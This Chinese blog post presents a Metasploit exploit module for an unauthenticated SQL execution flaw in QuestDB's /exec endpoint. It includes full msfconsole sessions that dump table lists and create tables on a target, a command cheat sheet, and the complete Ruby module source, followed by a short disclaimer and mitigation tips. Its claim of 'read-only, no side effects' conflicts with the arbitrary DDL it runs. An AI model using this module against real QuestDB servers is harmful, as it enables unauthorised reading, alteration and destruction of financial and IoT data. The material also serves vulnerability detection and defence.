作为一名专注于网络安全的研究员,近期我发现了 QuestDB 时序数据库的严重认证绕过漏洞(CNVD-2026-84827),该漏洞可导致攻击者在无需认证的情况下执行任意 SQL 命令,对金融、物联网等依赖 QuestDB 的场景造成重大安全威胁。为了让安全社区更高效地检测该漏洞,我开发了对应的 Metasploit 模块并提交至官方仓库(PR 链接:github.com/rapid7/meta… ),目前该模块已可在 msfconsole 中直接使用。本文将详细介绍模块的开发背景、使用方法、工作原理及核心源码,帮助大家快速上手。
漏洞背景与模块开发初衷
QuestDB 是一款开源高性能时序数据库,广泛应用于金融交易、物联网传感器数据采集等场景,其默认开放的 9000 端口 REST API 存在严重的认证绕过漏洞:即便管理员配置了http.security=true等安全参数,/exec端点仍会接受未授权请求,允许攻击者执行任意 DDL 和 DQL 命令。
此前我已通过微信公众号发布了漏洞详情(参考链接:[QuestDB惊现认证绕过漏洞(CVSS 9.8),大量金融/物联网系统恐成【透明库】]),并开发了开源 POC 工具 QuestExploit(github.com/ctkqiang/Qu… ),支持自动化漏洞探测与攻击演示。但考虑到安全研究员和渗透测试人员更习惯使用 Metasploit 框架进行漏洞验证,因此进一步开发了这款 MSF 模块,将漏洞探测与利用能力集成到主流渗透测试工具中,降低漏洞检测门槛。
该模块命名为 QuestDB SQL API Interaction Tool(模块路径:exploit/multi/http/questdb_rce),具备以下核心功能:
- 自动版本探测:通过发送
select version()请求,快速识别目标是否为 QuestDB 及具体版本; - 默认表枚举:未指定 SQL 语句时,自动执行
tables()命令,返回目标数据库中所有表结构; - 自定义 SQL 执行:支持用户输入任意 DDL/DQL 语句,如创建表、查询数据等;
- 高兼容性:已测试支持 QuestDB 8.x、9.x 版本,兼容 Linux、Docker 等多种部署环境;
- 安全无副作用:模块仅执行查询和只读操作(除非用户主动输入破坏性 SQL),不会导致目标系统崩溃。
模块使用教程(含 msfconsole 完整输出)
1. 环境准备
- Metasploit Framework 版本:v6.4.25+(若版本过旧,需执行
msfupdate更新); - 目标:运行 QuestDB 的服务器(默认 9000 端口开放);
- 网络:确保攻击机可访问目标的 9000 端口。
2. 完整操作流程
步骤 1:启动 msfconsole 并搜索模块
打开终端启动 msfconsole,通过 search questdb 命令即可找到该模块:
msf6 > search questdb
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/questdb_rce . excellent Yes QuestDB SQL API Interaction Tool
步骤 2:加载模块并配置参数
使用 use 命令加载模块,然后通过 set 命令配置目标 IP(RHOSTS)和端口(RPORT):
msf6 > use exploit/multi/http/questdb_rce
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/questdb_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/questdb_rce) > set RPORT 9000
RPORT => 9000
步骤 3:漏洞检测(check 命令)
执行 check 命令验证目标是否存在漏洞,模块会自动探测 QuestDB 版本并返回检测结果:
msf6 exploit(multi/http/questdb_rce) > check
[+] Detected QuestDB Version: PostgreSQL 12.3, compiled by Visual C++ build 1914, 64-bit, QuestDB
[*] 127.0.0.1:9000 - The target appears to be vulnerable.
步骤 4:默认模式运行(枚举所有表)
直接执行 run 命令,模块会自动执行 tables() 查询,返回目标数据库的所有表信息:
msf6 exploit(multi/http/questdb_rce) > run
[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Action: No query provided. Fetching all tables (Default)...
[+] SQL Execution Successful.
{
"query": "tables()",
"columns": [
{
"name": "id",
"type": "INT"
},
{
"name": "table_name",
"type": "STRING"
},
{
"name": "designatedTimestamp",
"type": "STRING"
},
// 省略部分列信息...
],
"timestamp": -1,
"dataset": [
[
24,
"tbl_bipsc",
null,
"NONE",
false,
false,
// 省略部分表数据...
],
[
17,
"stock_indicators",
"timestamp",
"DAY",
true,
false,
// 省略部分表数据...
]
],
"count": 11
}
[*] Exploit completed, but no session was created.
步骤 5:执行自定义 SQL 命令
通过 set QUERY 命令指定自定义 SQL 语句,例如创建测试表:
msf6 exploit(multi/http/questdb_rce) > set QUERY "CREATE TABLE msf_test(id INT, name STRING)"
QUERY => CREATE TABLE msf_test(id INT, name STRING)
msf6 exploit(multi/http/questdb_rce) > run
[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Action: Executing Raw User Query...
[+] SQL Execution Successful.
{
"ddl": "OK"
}
[*] Exploit completed, but no session was created.
3. 常见命令总结
| 命令 | 作用 | 示例 |
|---|---|---|
set RHOSTS [IP] | 配置目标 IP | set RHOSTS 192.168.1.100 |
set RPORT [端口] | 配置目标端口 | set RPORT 9000 |
set QUERY [SQL] | 指定自定义 SQL | set QUERY "SELECT * FROM stock_indicators" |
check | 漏洞检测 | - |
run | 执行模块 | - |
help | 查看模块帮助 | - |
四、模块工作原理
模块的核心工作流程基于 QuestDB 的 REST API /exec 端点,通过 HTTP GET 请求发送 SQL 命令,具体流程如下:
关键原理说明
- 认证绕过:利用 QuestDB 默认配置下
/exec端点无需认证的漏洞,直接发送 SQL 命令; - HTTP 请求构造:通过
send_request_cgi函数构造 GET 请求,将 SQL 语句编码后放入query参数; - 结果解析:接收目标返回的 JSON 格式结果,通过
JSON.pretty_generate格式化输出,方便用户查看; - 版本探测:通过
select version()命令获取目标版本,判断是否为受影响的 QuestDB 实例。
五、核心源码解析(Ruby)
以下是模块的完整 Ruby 源码,关键函数已添加注释:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'QuestDB SQL API Interaction Tool',
'Description' => %q{
This module allows users to execute raw SQL queries against the QuestDB REST API
or automatically list all available tables if no query is specified. This
targets the unauthenticated /exec endpoint.
},
'Author' => [ 'ctkqiang' ], # 作者
'License' => MSF_LICENSE,
'References' => [
[ 'CNVD', '2026-84827' ],
[ 'URL', 'https://github.com/ctkqiang/QuestExploit' ], # POC工具
[ 'URL', 'https://questdb.com/docs/query/rest-api/' ] # QuestDB官方API文档
],
'Platform' => 'linux',
'Targets' => [ [ 'Automatic', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE], # 稳定无崩溃风险
'SideEffects' => [IOC_IN_LOGS] # 操作会留下日志痕迹
}
))
# 注册配置参数
register_options([
Opt::RPORT(9000), # 默认端口9000
OptString.new('TARGETURI', [ true, "The base path to QuestDB", '/']),
OptString.new('QUERY', [ false, 'The raw SQL query to execute', nil]) # 自定义SQL参数
])
end
# 漏洞检测函数:判断目标是否为易受攻击的QuestDB实例
def check
print_status("Checking for QuestDB SQL API endpoint...")
# 发送版本查询请求
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'exec'),
'vars_get' => { 'query' => 'select version()' }
})
unless res
print_error("No response from server. Could not establish connection.")
return Exploit::CheckCode::Safe
end
# 解析响应结果
if res.code == 200 && res.body.include?('version')
json_data = res.get_json_document
if json_data && json_data['dataset'] && json_data['dataset'][0] && json_data['dataset'][0][0]
version = json_data['dataset'][0][0]
print_good("Detected QuestDB Version: #{version}")
print_status("QuestDB SQL API endpoint is accessible and responding correctly.")
return Exploit::CheckCode::Appears # 确认存在漏洞
else
print_error("Received invalid JSON structure from server.")
return Exploit::CheckCode::Safe
end
elsif res.code == 200
print_error("Received 200 OK but response does not contain version information.")
print_error("This may not be a QuestdB instance or the API endpoint structure has changed.")
return Exploit::CheckCode::Safe
else
print_error("Server returned unexpected status code: #{res.code}")
print_error("Response body: #{res.body}")
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Safe
end
# 核心执行函数
def exploit
# 若未指定SQL,默认执行tables()枚举表
sql_query = datastore['QUERY'] || 'tables()'
if datastore['QUERY']
print_status("Action: Executing Raw User Query...")
else
print_status("Action: No query provided. Fetching all tables (Default)...")
end
# 调用SQL执行函数
execute_sql(sql_query)
end
# SQL执行函数:发送SQL请求并处理响应
def execute_sql(sql)
response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'exec'),
'vars_get' => { 'query' => sql }
})
unless response
print_error("No response from server.")
return
end
# 处理成功响应
if response.code == 200
print_good("SQL Execution Successful.")
json_data = response.get_json_document
if json_data
print_line(JSON.pretty_generate(json_data)) # 格式化输出JSON结果
else
print_status("Raw Response: #{response.body}")
end
else
print_error("Server returned code #{response.code}: #{response.body}")
end
end
end
源码关键部分说明
- 参数注册:通过
register_options定义了目标端口、路径、自定义 SQL 等可配置参数,提高模块灵活性; - 漏洞检测(
check方法):通过发送版本查询请求,判断目标是否为 QuestDB 且/exec端点可访问; - SQL 执行逻辑:
execute_sql方法负责构造 HTTP 请求,发送 SQL 命令并解析 JSON 响应,格式化输出结果; - 兼容性设计:支持自动适配不同版本的 QuestDB,无需用户手动指定目标版本。
六、注意事项与防护建议
1. 模块使用注意事项
- 仅用于授权的渗透测试和漏洞检测,未经授权使用可能违反《网络安全法》;
- 执行
DROP、DELETE等破坏性 SQL 前需谨慎,避免造成数据丢失; - 模块仅支持 SQL 查询和 DDL 操作,不支持 DML(如
INSERT)和命令执行,如需更复杂功能可使用 POC 工具(github.com/ctkqiang/Qu… )。
2. 目标系统防护建议
- 紧急缓解:通过防火墙限制 9000 端口访问,仅允许可信 IP 连接;
- 临时修复:部署 Nginx 反向代理,为
/exec端点添加 HTTP Basic 认证; - 配置优化:修改 QuestDB 配置文件,将服务绑定到
127.0.0.1,仅允许本地访问; - 长期解决方案:关注 QuestDB 官方补丁,及时升级至修复版本。
七、总结
本次开发的 Metasploit 模块填补了 QuestDB 漏洞检测工具的空白,将漏洞利用能力集成到主流渗透测试框架中,方便安全人员快速验证目标系统安全性。该模块的核心价值在于 “简单易用” 和 “精准高效”—— 无需复杂配置,新手也能在 5 分钟内完成漏洞检测。